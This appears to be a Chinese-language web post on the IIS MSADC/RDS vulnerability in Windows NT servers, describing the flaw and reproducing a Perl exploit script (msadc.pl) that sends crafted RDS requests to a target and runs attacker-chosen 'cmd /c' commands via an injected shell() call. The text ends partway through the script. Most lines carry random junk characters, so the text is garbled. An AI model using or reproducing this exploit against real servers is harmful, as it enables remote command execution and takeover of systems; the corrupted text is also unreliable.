IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Z%3)w. a~-k} G5 涉及程序:
%,Y^Tp Microsoft NT server
-
5o<Q'( Z/NGv 描述:
i3M?D}(Bs 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
P^K?E M!&_qj&N, 详细:
+K$5tT6b 如果你没有时间读详细内容的话,就删除:
"o^bN 9= c:\Program Files\Common Files\System\Msadc\msadcs.dll
h\D_ 有关的安全问题就没有了。
>}dTO/ cotxo?)Zv 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Xb(CH#*{z gtaV6sD 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
#sz]PZ\ 关于利用ODBC远程漏洞的描述,请参看:
~8H&m,{j ?Kx6Sf<i http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pgz:F#> g:3d<CS 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
0%;N9\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp G*P[z'K= 5 `4}A%@& 这里不再论述。
olD@W
UB Mv/IMO0rR
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ewb*?In yPf?"W /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
CTh1+&Pa 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
l 8O"w& ;jRL3gAe) 8yHq7= #将下面这段保存为txt文件,然后: "perl -x 文件名"
;Ri 3#*a= G*kE~s9R
#!perl
,|e} Y
[ #
Xtuhc dzu[ # MSADC/RDS 'usage' (aka exploit) script
KotPV #
7[ZkM+z! # by rain.forest.puppy
l%^h2
o #
UJ7'JBT=k # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$a`J(I # beta test and find errors!
v57N^DR{ .i
MnWW use Socket; use Getopt::Std;
wY' "ab getopts("e:vd:h:XR", \%args);
[yO=S0 e %l Q[dXp print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
W\HLal =hJfL}&O3 if (!defined $args{h} && !defined $args{R}) {
x}v1X`6b print qq~
bBA$}bv Usage: msadc.pl -h <host> { -d <delay> -X -v }
r %+Bc Y -h <host> = host you want to scan (ip or domain)
ksTzXG8 -d <seconds> = delay between calls, default 1 second
Xwn3+tSIa -X = dump Index Server path table, if available
AnRlH -v = verbose
g+e:@@ug -e = external dictionary file for step 5
):/,w!1 E3y6c)< Or a -R will resume a command session
aD+0\I[x ' Q\ @19 ~; exit;}
g8KY`MBnC& nlaG<L# $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6*sw,sU[y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w
nWgy4: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i[PvDv"n if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`(3SfQ- $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
tzPC/? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
y">fN0{< I|Z/`9T if (!defined $args{R}){ $ret = &has_msadc;
!z?0 :Jg die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
AfN&n= d K !Ri
r&gF print "Please type the NT commandline you want to run (cmd /c assumed):\n"
y86)) . "cmd /c ";
Ey'J]KVW $in=<STDIN>; chomp $in;
<>]1Y$^Y $command="cmd /c " . $in ;
8`*`nQhWa MA$Xv`6I\ if (defined $args{R}) {&load; exit;}
V'j@K!)~xR vu<#wW*9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G,=F<TnI' &try_btcustmr;
.9OFryo f|#8qiUS print "\nStep 2: Trying to make our own DSN...";
%kq ^]S2O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@UO}W_0ZD v77fQ0w3 print "\nStep 3: Trying known DSNs...";
srK53vKMHW &known_dsn;
%l]Rh/VPn? Yy hny[fa9 print "\nStep 4: Trying known .mdbs...";
tFiR!f) &known_mdb;
84^[/d;! v,jhE9_O0 if (defined $args{e}){
6{.J:S9n
print "\nStep 5: Trying dictionary of DSN names...";
NI.`mc6Xd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
=!CU $g ?mU\
N0o print "Sorry Charley...maybe next time?\n";
4H-j
.|e exit;
n P1GW6Pu AF$\WWrB ##############################################################################
NAJVr}4f +c) TDH sub sendraw { # ripped and modded from whisker
#wjH4DT sleep($delay); # it's a DoS on the server! At least on mine...
j5^-.sEEw my ($pstr)=@_;
1
i3k socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|')-VhLLK die("Socket problems\n");
[zh"x#AyI if(connect(S,pack "SnA4x8",2,80,$target)){
/M@PO" select(S); $|=1;
V`bs&5#Sx print $pstr; my @in=<S>;
D:JS)+] select(STDOUT); close(S);
6I>^Pf'ND return @in;
%4,?kh``D } else { die("Can't connect...\n"); }}
`R+,1"5 = ;^ 3$kF ##############################################################################
&{z<kmc$6 Uu'dv#4Iw sub make_header { # make the HTTP request
0+ `Pg my $msadc=<<EOT
]tY:,Mfs POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_| zBUrN User-Agent: ACTIVEDATA
E FY@Y[ Host: $ip
8omC%a}9m Content-Length: $clen
f*fE}; Connection: Keep-Alive
:2y"3azxk &leK}je [ ADCClientVersion:01.06
gQouOjfP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>EP(~G3u xs!p| --!ADM!ROX!YOUR!WORLD!
o2uj =Gnx Content-Type: application/x-varg
_Qd,VE
8u Content-Length: $reqlen
H%}IuHhN) `78V%\ EOT
|vILp/"9=W ; $msadc=~s/\n/\r\n/g;
<Q5Le dN return $msadc;}
tju|UhP3 $nPAm6mH ##############################################################################
BfmsMW d,cN( sub make_req { # make the RDS request
=?
:@ my ($switch, $p1, $p2)=@_;
$_X|,v9 my $req=""; my $t1, $t2, $query, $dsn;
H0*,8i5I u8vuwbra! if ($switch==1){ # this is the btcustmr.mdb query
:`Az/U[ $query="Select * from Customers where City=" . make_shell();
>e&